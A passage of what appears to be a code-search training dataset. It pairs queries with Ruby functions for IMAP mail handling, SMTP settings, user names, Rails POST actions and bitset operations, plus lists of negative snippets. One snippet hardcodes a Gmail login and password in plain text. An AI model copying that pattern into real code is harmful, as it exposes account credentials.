"def search_inbox(subject_to_find=nil,sender_expected=nil,time_sent=nil)\n puts \"Searching...mail\"\n xpath_start=\"//*[@class='F cf zt']/tbody[1]/tr[\"\n xpath_end=\"]/td[6]\"\n status_new=0\n diff =0\n for o in 0..50\n # to exit from outer loop\n if(status_new==1)\n break\n end\n for i in 1..10\n element=@driver.find_element(:xpath,xpath_start+i.to_s+xpath_end) \n subject=element.text\n subject_contain = subject_to_find\n time_received= @driver.find_element(:xpath,xpath_start+i.to_s+\"]/td[8]\").text\n if(time_sent!= nil)\n diff= (Time.parse(time_received) - Time.parse(time_sent))/60\n end\n # check Inbox and pick matched subject mail\n if((subject.include? subject_contain) && ((diff <5 && diff >=0) || time_sent==nil))\n sender = @driver.find_element(:xpath,xpath_start+i.to_s+\"]/td[5]\").text\n if((sender_expected == nil) || (sender.include? sender_expected))\n puts \"Subject matched for i:#{i} and o:#{o}, \"+\" Receieved is #{time_received}\"\n return element\n end \n end\n end\n # To refresh Inbox (optional)\n #@driver.find_element(:xpath,\"//*[@id=':5']/div/div[1]/div[1]/div/div/div[4]/div/div/div\")\n sleep(3)\n if (o==30 && status_new!=1)\n puts \"Didn't receive any mail\"\n element = nil\n end\n end\n element\n end",
"def capture_emails(&block)\n original_count = ActionMailer::Base.deliveries.size\n deliver_enqueued_emails(&block)\n new_count = ActionMailer::Base.deliveries.size\n diff = new_count - original_count\n ActionMailer::Base.deliveries.last(diff)\n end",
"def run_payments_scan_send_emails(manual=false)\n puts \"Updating payments...\"\n sync_payment_data\n puts \"Payments Synced.\"\n\n # if today is Wednesday or Friday send out the email with the division rosters\n\n today = Time.now.utc.wday\n\n # sunday = 0\n # monday = 1\n # tuesday = 2\n # wednesday = 3\n # thursday = 4\n # Friday = 5\n # Saturday = 6\n # Sunday = 7\n #\n #\n puts \"TODAY IS #{today}\"\n # Only send out the emails for payments on Wednesday and Friday\n if today == 3 || today == 5 || manual\n puts 'Sending out the Email Updates for Rosters'\n account = TeamsnapScanAccount.order('created_at DESC').first\n loginHash = log_in_to_teamsnap(account.username,account.password, false)\n if (loginHash[:teamsnapToken])\n divisions = teamsnap_divs_by_id\n divisions.each do |key, value|\n if value == 16139\n break\n end\n puts \"Sending Roster Email For: #{key}\"\n send_division_rep_roster_email(value, key,loginHash[:teamsnapToken])\n end\n else\n puts \"ERROR: Teamsnap Login Failed, no emails sent\"\n end\n end\n\n\n end",
"def send_unseen_messages_mail\n email_subscription = self.email_subscription\n if email_subscription.new_message_last_emailed.nil? or email_subscription.new_message_last_emailed < 4.hours.ago\n UserMailer.delay.send_unseen_messages_mail(self)\n email_subscription.update(new_message_last_emailed: Time.now)\n end\n end",
"def download_emails\n\tbegin\n\t\temails = []\n\t\timap = Net::IMAP.new @server, port:@port, ssl:@use_ssl\n\t\timap.login @user, @pass\n\t\timap.select @folder\n\t\timap.search([\"SINCE\", \"#{@lastDate}\"]).each do |seqno|\n\t\t\tnext if @lastSeqno >= seqno\n\t\t\tputs seqno\n\t\t\tbody = imap.fetch(seqno, 'RFC822')[0].attr['RFC822']\n\t\t\temail = Mail.new(body)\n\t\t\temails << [email, seqno]\n\t\tend\n\t\timap.logout\n\t\timap.disconnect\n\t\temails\n\trescue => e\n\t\traise e.message\n\tend\nend",
"def tick \n mailer.messages.each do |request| \n response = mailer.new_message(:to => request.from, \n :from => settings.service.default_sender)\n\n process_request(request, response) && response.deliver\n end\n rescue StandardError => e\n logger.fatal(\"SERVER ERROR\") { \"#{e.inspect}\\n\" + e.backtrace.join(\"\\n \") }\n raise\n end",
"def snow_emergency_in_effect\n ret = false\n\n imap = Net::IMAP.new('imap.gmail.com', { :port => 993, :ssl => true })\n imap.login('canhazparking', 'yesIcanz!');\n imap.select('INBOX')\n imap.search([\"SUBJECT\", \"Snow emergency\", \"SENTSINCE\", (Time.now - 1).strftime(\"%d-%b-%Y\")]).each do |msgid|\n ret = true\n break\n end\n\n imap.logout()\n imap.disconnect()\n\n return ret\nend",
"def send_15_days_till_expire_email\n unless self.email_1_sent?\n holder = User.account_holder_for_account(self.account)\n AccountMailer.trial_email_1(self.account, holder).deliver\n self.update_attribute(:email_1_sent, true)\n end\n end",
"def watchMail(imap, folder)\n \n # Loop for checking message increase in the folder\n begin\n \n imap.select(folder)\n \n # Get the current folder size\n fsize = imap.status(folder, [\"MESSAGES\"])\n csize = fsize[\"MESSAGES\"]\n \n loop do\n fsize = imap.status(folder, [\"MESSAGES\"])\n if fsize[\"MESSAGES\"] > csize\n message_ids = imap.uid_search(\"ALL\")\n uid = message_ids.last\n email = imap.uid_fetch(uid, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n pp \"[#{email.from[0].name}] #{email.subject}\"\n csize = fsize[\"MESSAGES\"]\n else\n sleep(10)\n end\n end\n rescue => e\n exit(1)\n end\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Proxy to ActionMailer::Base::smtp_settings. See for instructions on how to configure ActionMailer's SMTP server. Falls back to ::server_settings if ::smtp_settings doesn't exist for backwards compatibility.
|
def smtp_settings
ActionMailer::Base.smtp_settings rescue ActionMailer::Base.server_settings
end
|
[
"def smtp_settings\n smtp = @config[\"smtp\"]\n return unless smtp[\"enabled\"]\n\n {\n address: smtp[\"address\"],\n port: smtp[\"port\"],\n domain: smtp[\"domain\"]\n }.merge(ssl_settings).merge(authentication_settings)\n end",
"def smtp_settings\n {\n address: smtp_host,\n password: smtp_password,\n port: smtp_port,\n user_name: smtp_username\n }\n end",
"def smtp_settings\n @@smtp_settings_overrides.reverse_merge @@smtp_settings\n end",
"def ar_mailer_smtp_settings(new_settings = nil)\n ar_mailer_setting(:smtp_settings, new_settings)\n end",
"def apply_to_action_mailer(klass=ActionMailer::Base)\n klass.smtp_settings = smtp_config\n\n email_opts = email_config\n klass.default_options = email_config.select { |k,v| %i(from reply_to).include?(k) }\n\n uri = URI.parse(email_opts[:base_url]) rescue nil\n if uri\n host_with_port = uri.host\n host_with_port += \":#{uri.port}\" unless uri.port == uri.default_port\n klass.default_url_options = {\n host: host_with_port,\n protocol: uri.scheme,\n }\n end\n end",
"def setup_mailer!\n return unless mailer?\n s = mailer\n ActionMailer::Base.default_url_options[:host] = s.host\n ActionMailer::Base.delivery_method = s.delivery_method.to_sym\n ActionMailer::Base.smtp_settings = s.smtp_settings.to_hash if s.smtp_settings?\n ActionMailer::Base.sendmail_settings = s.sendmail_settings.to_hash if s.sendmail_settings?\n ActionMailer::Base.default :from => s.from\n\n # Setup sendgrid if present, sort of a faux-sendgrid helper.\n if s.delivery_method.to_sym == :sendgrid\n ActionMailer::Base.delivery_method = :smtp\n ActionMailer::Base.smtp_settings = {\n :address => \"smtp.sendgrid.net\",\n :port => \"25\",\n :authentication => :plain,\n :user_name => s.sendgrid.username,\n :password => s.sendgrid.password,\n :domain => s.sendgrid.domain\n }\n end\n end",
"def send_settings(settings)\r\n \toutput = {to: settings[:recipients]}\r\n \toutput[:subject] = settings[:subject]\r\n \toutput[:html_body] = @html if (@html || \"\") != \"\"\r\n \toutput[:body] = @text if (@text || \"\") != \"\"\r\n output[:from] = settings[:from] if settings.include?(:from)\r\n output.merge(pony_settings(settings))\r\n end",
"def smtp(*args, &block)\n if args.size > 0\n host_array = [args[0], (args[1].to_i > 0 ? args[1] : 25)]\n end\n set_settings(Mail::SMTP, host_array, &block)\n end",
"def setup_mailer\n if self.ssl\n self.port = DEFAULT_SSL_PORT if self.port.nil?\n else\n self.port = DEFAULT_PORT if self.port.nil?\n end\n\n if old_server != server or old_port != port\n @mailer = Net::POP3.new( self.server, self.port )\n end\n\n if self.ssl\n @mailer.enable_ssl\n else\n @mailer.disable_ssl\n end\n\n # keep track of old server and port\n self.old_server = self.server\n self.old_port = self.port\n end",
"def get_delivery_options\n # do we use the custom mail configuration?\n if custom?\n smtp_settings = {\n user_name: username,\n password: password,\n address: server,\n port: port,\n ssl: ssl,\n authentication: authentication,\n openssl_verify_mode: openssl,\n enable_starttls_auto: starttls\n }\n else\n smtp_settings = {\n user_name: username,\n password: password,\n address: server,\n port: port,\n ssl: ssl\n }\n end\n end",
"def mail_gem_smtp_options\n {\n address: options.fetch(:smtp_address),\n port: options.fetch(:smtp_port),\n user_name: options.fetch(:smtp_username),\n password: options.fetch(:smtp_password),\n authentication: options.fetch(:smtp_auth),\n enable_starttls: options.fetch(:smtp_starttls)\n }\n end",
"def smtp_options\n {\n address: smtp_address,\n port: smtp_port,\n domain: smtp_domain,\n authentication: smtp_authentication,\n user_name: smtp_user_name,\n password: smtp_password\n }.select { |_key, value| value.presence }\n end",
"def get_smtp_setting\n setting = {}\n setting['Address'] = server_address_input.value\n setting['Port'] = server_port_input.value\n setting['Encryption'] = server_encryption_select.selected_options.first.text\n setting['Authentication'] = server_auth_type_select.selected_options.first.text\n setting['Username'] = server_username_input.value\n setting['Password'] = server_password_input.value\n setting\n end",
"def mailer_sendmail_settings(key, **options)\n {\n location: ContainerConfig.load(\"#{key}_SENDMAIL_LOCATION\", **options),\n arguments: ContainerConfig.load(\"#{key}_SENDMAIL_ARGUMENTS\", **options)\n }.compact\n end",
"def setup_delivery\n method = @config.delivery['method'] || :smtp\n options = @config.delivery['options'] || {}\n\n options.keys.each do |key|\n options[(key.to_sym rescue key) || key] = options.delete(key)\n end\n\n options = Idid::Configuration::SMTP_DEFAULTS.merge options if method == :smtp\n options = Idid::Configuration::EXIM_DEFAULTS.merge options if method == :exim\n\n mail_defaults_for method, options\n end",
"def setup_tls(smtp, setting)\n if setting.enable_starttls_auto\n logger.debug 'Using STARTTLS, if the server accepts it'\n smtp.enable_starttls_auto(build_ssl_context(setting))\n elsif setting.enable_starttls\n logger.debug 'Forcing STARTTLS'\n smtp.enable_starttls(build_ssl_context(setting))\n elsif setting.tls\n logger.debug 'Forcing TLS'\n smtp.enable_tls(build_ssl_context(setting))\n else\n logger.debug 'Disabling TLS'\n smtp.disable_tls\n end\n end",
"def use_smtp_interpreter!\n @interpreter = Remailer::Connection::SmtpInterpreter.new(:delegate => self)\n end",
"def smtp_provider\n @smtp_provider ||= @body[:smtp_provider]\n end",
"def smtp_account_settings\n @current_smtp_setting = SmtpSettings.find_by_is_active(1)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Returns the configured user name or the user name of the authenticated user
|
def get_username
@user_name ||= self.user.username
end
|
[
"def user_with_name\n user_without_name || user_name\n end",
"def get_username\n @user_name ||= user.username\n end",
"def get_user_name\n user = Etc.getpwnam(Etc.getlogin)['gecos'].split(',').first\n user = Etc.getlogin if user.nil?\n\n return user\n end",
"def hubssolib_get_user_name\n user = self.hubssolib_current_user\n user ? user.user_real_name : nil\n end",
"def user_name\n spec[USER_NAME]\n end",
"def user_name\n read_attribute('user_name') || \"anonymous\"\n end",
"def user_name\n self.user ? self.user.name : 'Anonymous'\n end",
"def user_name\n params['user_name'] ||\n # from sub-token in 'authed_user'\n params['authed_user'].to_h['name'] ||\n # workspace-app token with attached user.\n params['user'].to_h['name'] ||\n # from authed_user hash.\n params['name'] ||\n # workspace token with authorizing user.\n params['authorizing_user'].to_h['name'] ||\n # workspace token with installer user.\n params['installer_user'].to_h['name'] ||\n # more workspace token possibilities.\n to_auth_hash.deep_find('nickname') ||\n to_auth_hash.deep_find('real_name')\n end",
"def user_name\n return @user_name\n end",
"def current_user\n # We just do a 'basename' on the principal to give back a sane value\n # here.\n user_name = Http::UrlUtil.split_path(current_principal)[1]\n\n user_name\n end",
"def display_name\n\n # If the user has a name, return it\n if name.present?\n name\n\n # Otherwise return the username\n else\n username\n end\n end",
"def user_name\n return \"Anonymous\" unless about_user\n about_user.name\n end",
"def user_name\n return User.find(user_id).name\n end",
"def display_username\n return username unless APP_CONFIG.enabled?(\"display_name\")\n display_name.blank? ? username : display_name\n end",
"def user_display_name\n return @user_display_name\n end",
"def current_alchemy_user_name\n name = current_alchemy_user.try(:alchemy_display_name)\n if name.present?\n content_tag :span, \"#{Alchemy.t(\"Logged in as\")} #{name}\", class: \"current-user-name\"\n end\n end",
"def current_user_display_name\n user = current_user\n if fullname_field\n n = user.send(fullname_field)\n return n unless n.blank?\n end\n\n if firstname_field && lastname_field\n f = user.send(firstname_field)\n l = user.send(lastname_field)\n return f + \" \" + l unless f.blank? || l.blank?\n end\n\n return user.send(username_field)\n end",
"def find_username\n @username || $config.fetch(:username) || prompt_username\n end",
"def current_user_name_or_id\n require 'etc' if !defined?(Etc)\n begin\n user = Etc.getpwuid(Process.uid)\n rescue ArgumentError\n user = nil\n end\n if user\n return user.name\n else\n return \"##{Process.uid}\"\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /post117s POST /post117s.xml
|
def create
@post117 = Post117.new(params[:post117])
respond_to do |format|
if @post117.save
format.html { redirect_to(@post117, :notice => 'Post117 was successfully created.') }
format.xml { render :xml => @post117, :status => :created, :location => @post117 }
else
format.html { render :action => "new" }
format.xml { render :xml => @post117.errors, :status => :unprocessable_entity }
end
end
end
|
[
"def post(data, tags_in = {}) ; post_to nil, data, tags_in end",
"def create\n @post168 = Post168.new(params[:post168])\n\n respond_to do |format|\n if @post168.save\n format.html { redirect_to(@post168, :notice => 'Post168 was successfully created.') }\n format.xml { render :xml => @post168, :status => :created, :location => @post168 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post168.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post157 = Post157.new(params[:post157])\n\n respond_to do |format|\n if @post157.save\n format.html { redirect_to(@post157, :notice => 'Post157 was successfully created.') }\n format.xml { render :xml => @post157, :status => :created, :location => @post157 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post157.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post167 = Post167.new(params[:post167])\n\n respond_to do |format|\n if @post167.save\n format.html { redirect_to(@post167, :notice => 'Post167 was successfully created.') }\n format.xml { render :xml => @post167, :status => :created, :location => @post167 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post167.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post *args\n make_request :post, *args\n end",
"def POST; end",
"def create\n @post137 = Post137.new(params[:post137])\n\n respond_to do |format|\n if @post137.save\n format.html { redirect_to(@post137, :notice => 'Post137 was successfully created.') }\n format.xml { render :xml => @post137, :status => :created, :location => @post137 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post137.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post254 = Post254.new(params[:post254])\n\n respond_to do |format|\n if @post254.save\n format.html { redirect_to(@post254, :notice => 'Post254 was successfully created.') }\n format.xml { render :xml => @post254, :status => :created, :location => @post254 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post254.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post170 = Post170.new(params[:post170])\n\n respond_to do |format|\n if @post170.save\n format.html { redirect_to(@post170, :notice => 'Post170 was successfully created.') }\n format.xml { render :xml => @post170, :status => :created, :location => @post170 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post170.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post187 = Post187.new(params[:post187])\n\n respond_to do |format|\n if @post187.save\n format.html { redirect_to(@post187, :notice => 'Post187 was successfully created.') }\n format.xml { render :xml => @post187, :status => :created, :location => @post187 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post187.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post171 = Post171.new(params[:post171])\n\n respond_to do |format|\n if @post171.save\n format.html { redirect_to(@post171, :notice => 'Post171 was successfully created.') }\n format.xml { render :xml => @post171, :status => :created, :location => @post171 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post171.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post181 = Post181.new(params[:post181])\n\n respond_to do |format|\n if @post181.save\n format.html { redirect_to(@post181, :notice => 'Post181 was successfully created.') }\n format.xml { render :xml => @post181, :status => :created, :location => @post181 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post181.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post207 = Post207.new(params[:post207])\n\n respond_to do |format|\n if @post207.save\n format.html { redirect_to(@post207, :notice => 'Post207 was successfully created.') }\n format.xml { render :xml => @post207, :status => :created, :location => @post207 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post207.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post151 = Post151.new(params[:post151])\n\n respond_to do |format|\n if @post151.save\n format.html { redirect_to(@post151, :notice => 'Post151 was successfully created.') }\n format.xml { render :xml => @post151, :status => :created, :location => @post151 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post151.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post67 = Post67.new(params[:post67])\n\n respond_to do |format|\n if @post67.save\n format.html { redirect_to(@post67, :notice => 'Post67 was successfully created.') }\n format.xml { render :xml => @post67, :status => :created, :location => @post67 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post67.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post71 = Post71.new(params[:post71])\n\n respond_to do |format|\n if @post71.save\n format.html { redirect_to(@post71, :notice => 'Post71 was successfully created.') }\n format.xml { render :xml => @post71, :status => :created, :location => @post71 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post71.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post155 = Post155.new(params[:post155])\n\n respond_to do |format|\n if @post155.save\n format.html { redirect_to(@post155, :notice => 'Post155 was successfully created.') }\n format.xml { render :xml => @post155, :status => :created, :location => @post155 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post155.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post259 = Post259.new(params[:post259])\n\n respond_to do |format|\n if @post259.save\n format.html { redirect_to(@post259, :notice => 'Post259 was successfully created.') }\n format.xml { render :xml => @post259, :status => :created, :location => @post259 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post259.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post160 = Post160.new(params[:post160])\n\n respond_to do |format|\n if @post160.save\n format.html { redirect_to(@post160, :notice => 'Post160 was successfully created.') }\n format.xml { render :xml => @post160, :status => :created, :location => @post160 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post160.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Was this notification signalled?
|
def signalled?
@signalled
end
|
[
"def signalled event\n @signalled_actions and @signalled_actions[event]\n end",
"def notification?\n false\n end",
"def stalled?\n @stalled_fibers.any?\n end",
"def should_notify?\n return false if notified\n expiration = default_expiration\n return false unless expiration\n expiration.in_notification_interval?\n end",
"def notified? \n \titem = Item.find(item_id)\n \tif(item.expired? == true && notifiy == false)\n \t\treturn false\n \telse\n \t\treturn true\n \tend\n end",
"def is_notification?\n @is_notification\n end",
"def should_notify?\n expiration = default_expiration\n return false unless expiration\n return false if notified == expiration.time.to_i\n expiration.in_notification_interval?\n end",
"def fired_upon?\n @shot_status\n end",
"def notification?\n kind == 'notification'\n end",
"def recalled?\n /Recalled/ === circulation_status.value\n end",
"def can_notify?\n return true if first_ping\n ping.status != previous_ping.status\n end",
"def terminated?\n not unsubscribed_on.nil?\n end",
"def is_pending_recovery?\n self.activated? and self.verification_key ? true : false\n end",
"def signaled?(*) end",
"def notifying?\n @watchdog&.running? || false\n end",
"def notification?\n @callback.nil?\n end",
"def has_pending_events?\n self.events.any?{|e| e.pending? }\n end",
"def single_bid_notification?(bid)\n (!bid.read && bid.receiver == self && bid.waiting?) || (!bid.read && bid.sender == self && !bid.waiting?)\n end",
"def set_new_state_after_notify(was_successful, event, status)\n unless status.attending?\n if was_successful\n if event.event?\n status.not_responded!\n else\n status.delivered!\n end\n else\n status.not_delivered!\n end\n status.save\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Grows the set to a larger number of bits.
|
def grow_to_include(bit)
new_size = Math.max(@bits.attr_length << 1, num_words_to_hold(bit))
newbits = Array.typed(::Java::Long).new(new_size) { 0 }
System.arraycopy(@bits, 0, newbits, 0, @bits.attr_length)
@bits = newbits
end
|
[
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def NEEDBITS(n)\n while @@bits < (n)\n PULLBYTE()\n end\n end",
"def BITS(n)\n (@@hold & ((1 << (n)) - 1))\n end",
"def shift_size= n\n @mutex.synchronize do @shift_size = n end\n end",
"def multipleSet(n)\n return (n..99).step(n).to_a.to_set\nend",
"def DROPBITS(n)\n @@hold >>= n\n @@bits -= n\n end",
"def subsets_bitwise(set)\n ary = set.to_a\n Set.new (2**ary.length).times.map do |bits|\n Set.new(ary.select.with_index { |x, i| 1 & bits >> i == 1 })\n end\nend",
"def powerset(set)\r\n# return $ps_cache[set] if $ps_cache[set] != nil\r\n return [[]] if set == []\r\n return [[], [set[0]]] if set.length == 1\r\n return [[], [set[0]], [set[1]], [set[0], set[1]]] if set.length == 2\r\n \r\n result = [set]\r\n\r\n# puts \"powerset() at length #{set.length}\"\r\n# set.each_index { |i|\r\n i = 0\r\n l = set.length\r\n while i < l\r\n set2 = set.clone\r\n set2.delete_at i\r\n result += powerset(set2)\r\n i += 1\r\n end\r\n# }\r\n \r\n# $ps_cache[set] = result if set.flatten.length <= 3\r\n result\r\nend",
"def powerset(arr); end",
"def do_squeeze!\n\n while size > @maxsize\n delete(@lru_keys.shift)\n end\n end",
"def set(i)\n \t@bm |= 1 << i\n end",
"def resize(new_size)\n return unless @resize_enabled\n\n bucket_width = new_width # find new bucket width\n local_init(new_size, bucket_width, @last_priority)\n\n i = 0\n while i < @cached_buckets.size\n bucket = @cached_buckets[i]\n @size -= bucket.size\n while obj = bucket.pop\n self << obj\n end\n i += 1\n end\n end",
"def countSet\n @data.reduce(0){ |memo, v| memo + @@bitsSetInByteLookup[v] }\n end",
"def not_in_place(min_bit, max_bit)\n # make sure that we have room for maxBit\n grow_to_include(max_bit)\n i = min_bit\n while i <= max_bit\n n = word_number(i)\n @bits[n] ^= bit_mask(i)\n i += 1\n end\n end",
"def set_next(value)\n increase_length\n\n new_index = (@index + 1) % @size\n previous = @bit_set.set(new_index, value == true) ? 1 : 0\n current = value == true ? 1 : 0\n\n\n @index = new_index\n @cardinality = @cardinality - previous + current\n end",
"def reallocate(at_least)\n return if at_least < @tuple.size\n\n new_total = @tuple.size * 2\n\n if new_total < at_least\n new_total = at_least\n end\n\n new_tuple = Rubinius::Tuple.new new_total\n new_tuple.copy_from @tuple, @start, @total, 0\n\n @start = 0\n @tuple = new_tuple\n end",
"def redistribute(rehash = true)\n if @count >= MAX_DENSITY * @records\n new_size = @records * 2\n elsif @count < MIN_DENSITY * @records and @records > MIN_SIZE\n new_size = @records / 2\n else\n return unless rehash\n new_size = @records\n end\n\n i = to_iter\n @records = new_size\n @bins = Tuple.new @records\n\n while entry = i.next\n while entry\n nxt = entry.next\n\n entry.key_hash = entry.key.hash if rehash\n\n bin = entry_bin entry.key_hash\n if head = @bins[bin]\n entry.next = head\n else\n entry.next = nil\n end\n @bins[bin] = entry\n\n entry = nxt\n end\n end\n\n self\n end",
"def subarray_bitwise_o_rs(a)\n result_set = Set.new()\n a.size.times do |i|\n (1..a.size-i).each do |length|\n subarray = a[i, length]\n #puts subarray.inspect\n result = subarray.reduce(0) do |bor, elem|\n bor | elem\n end\n #puts result\n result_set << result\n end\n end\n result_set.size\nend",
"def size=(val)\n if @size > val\n @elements.keys.each do |k|\n @elements.delete(k) if k >= val\n end\n end\n @size = val\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
complement bits in the range minBit..maxBit.
|
def not_in_place(min_bit, max_bit)
# make sure that we have room for maxBit
grow_to_include(max_bit)
i = min_bit
while i <= max_bit
n = word_number(i)
@bits[n] ^= bit_mask(i)
i += 1
end
end
|
[
"def bitwise_complement(n)\n return 1 if n == 0\n n ^ (1<<n.bit_length)-1\nend",
"def twos_complement(num)\n return 256 + num\nend",
"def complement( value )\n diff = value - self.begin\n result = (self.end - diff)\n return result\n end",
"def not\n ~@bits\n end",
"def flippingBits(n)\n 4294967295 - n\nend",
"def bitMaxMin n\n l=2**n\n min=-l/2\n max=-min-1\n return max,min\nend",
"def to_bit_mask\n (1 << self) - 1\n end",
"def diminished_radix_complement(int)\n if int > UID_MAX\n int - UINT\n else\n int\n end\n end",
"def complement!\n raise RuntimeError, \"Data is not valid Binary: #{self}\" unless self.is_bitstring?\n complement = \"\"\n\n self.each_byte do |char|\n complement << ((char.chr == \"0\") ? \"1\" : \"0\")\n end\n\n self.replace(complement)\n end",
"def complement!\n tmp = self.from\n self.from = self.to\n self.to = tmp\n tmp = self.from_orient\n self.from_orient = (self.to_orient == :+) ? :- : :+\n self.to_orient = (tmp == :+) ? :- : :+\n self.overlap = self.complement_overlap\n return self\n end",
"def mask_bits!(p0) end",
"def complement\n\t\t\tc = Xmms::Collection.new(Xmms::Collection::TYPE_COMPLEMENT)\n\t\t\tc.operands << self\n\t\t\tc\n\t\tend",
"def DROPBITS(n)\n @@hold >>= n\n @@bits -= n\n end",
"def _bit_in_range?(bits, max, min)\n upper = bits.position + bits.size - 1\n lower = bits.position\n !((lower > max) || (upper < min))\n end",
"def lower_bits\n @current & 0b1111111111111111\n end",
"def flippingBits(n)\n # Write your code here\n n ^ 4_294_967_295\nend",
"def complement\n newvalues = self.rgba[0..-2].map {|v| Range.O.complement( v )}\n newvalues += [self.a]\n return Color[ *newvalues ]\n end",
"def IntegerComplement(n)\n\n complements = {\n '0' => '1', # => \"1\"\n '1' => '0' # => \"0\"\n } # => {\"0\"=>\"1\", \"1\"=>\"0\"}\n\n binary = n.to_s(2) # => \"110010\"\n\n #Solution 1: using Ruby's .to_i with base (2) method\n new_binary = '' # => \"\"\n binary.chars.each { |e| new_binary << complements[e] } # => [\"1\", \"1\", \"0\", \"0\", \"1\", \"0\"]\n new_binary # => \"001101\"\n new_decimal = new_binary.to_i(2) # => 13\n\n\n #Solution 2: Evaluating complement's decimal manually\n comp_binary = [] # => []\n binary.chars.each { |e| comp_binary << complements[e] } # => [\"1\", \"1\", \"0\", \"0\", \"1\", \"0\"]\n comp_binary # => [\"0\", \"0\", \"1\", \"1\", \"0\", \"1\"]\n\n comps = [] # => []\n comp_binary.reverse.each_with_index { |e, i| comps << (e.to_i) * (2**i) } # => [\"1\", \"0\", \"1\", \"1\", \"0\", \"0\"]\n comps # => [1, 0, 4, 8, 0, 0]\n decimal_complement = comps.reduce(:+) # => 13\n\n\n p new_decimal # => 13\n p decimal_complement # => 13\n\nend",
"def []=(bit, value)\n if value.is_a? BitRange\n value = value.bits\n end\n\n if bit.is_a? Range\n raise \"Range must be in ascending order\" if bit.begin > bit.end\n raise \"Index out of bounds\" if bit.max > @num_bits - 1 \\\n || bit.min < 0\n mask = ~(-1 << bit.size)\n value &= mask\n @bits &= ~(mask << bit.min)\n @bits |= value << bit.min\n else\n raise \"Index out of bounds\" if bit > @num_bits - 1\n mask = 0x1\n value &= mask\n @bits &= ~(mask << bit)\n @bits |= value << bit\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Subtract the elements of 'a' from 'this' inplace. Basically, just turn off all bits of 'this' that are in 'a'.
|
def subtract_in_place(a)
if ((a).nil?)
return
end
# for all words of 'a', turn off corresponding bits of 'this'
i = 0
while i < @bits.attr_length && i < a.attr_bits.attr_length
@bits[i] &= ~a.attr_bits[i]
i += 1
end
end
|
[
"def subtract!(rhs)\n subtract rhs, self\n end",
"def -(other)\n other.inject(clone) do |copy, e|\n copy.delete e\n copy\n end\n end",
"def rsub(o); -self + o; end",
"def -(other_list)\n without_list = self.class.copy_list(self)\n other_list.list.each do |item, int_value|\n without_list.list.delete_if{ |without_list_item, other_value| without_list_item.equal?(item)}\n end\n\n return without_list\n end",
"def subtract(arr1, arr2)\n arr1_dup = arr1.dup\n arr2.each { |x| arr1_dup.slice!(arr1_dup.index(x)) if arr1_dup.include?(x) }\n arr1_dup\nend",
"def subtract!(other)\n if other.is_a?(Numeric)\n @data.each_index do |i|\n @data[i] -= other\n end\n elsif other.is_a?(Signal)\n raise ArgumentError, \"other.data.size #{other.size} is not equal to data.size #{@data.size}\" if other.data.size != @data.size\n @data.each_index do |i|\n @data[i] -= other.data[i]\n end\n elsif other.is_a?(Array)\n raise ArgumentError, \"other.size #{other.size} is not equal to data.size #{@data.size}\" if other.size != @data.size\n @data.each_index do |i|\n @data[i] -= other[i]\n end\n else\n raise ArgumentError, \"other is not a Numeric, Signal, or Array\"\n end\n return self\n end",
"def complement!\n tmp = self.from\n self.from = self.to\n self.to = tmp\n tmp = self.from_orient\n self.from_orient = (self.to_orient == :+) ? :- : :+\n self.to_orient = (tmp == :+) ? :- : :+\n self.overlap = self.complement_overlap\n return self\n end",
"def -(other_set)\n self.class.new.tap do |memo|\n each do |a|\n b = other_set.assoc(a.first)\n next if b\n memo << a\n end\n end\n end",
"def excluding(*elements)\n self - elements.flatten(1)\n end",
"def complement\n self.class.all.difference(self)\n end",
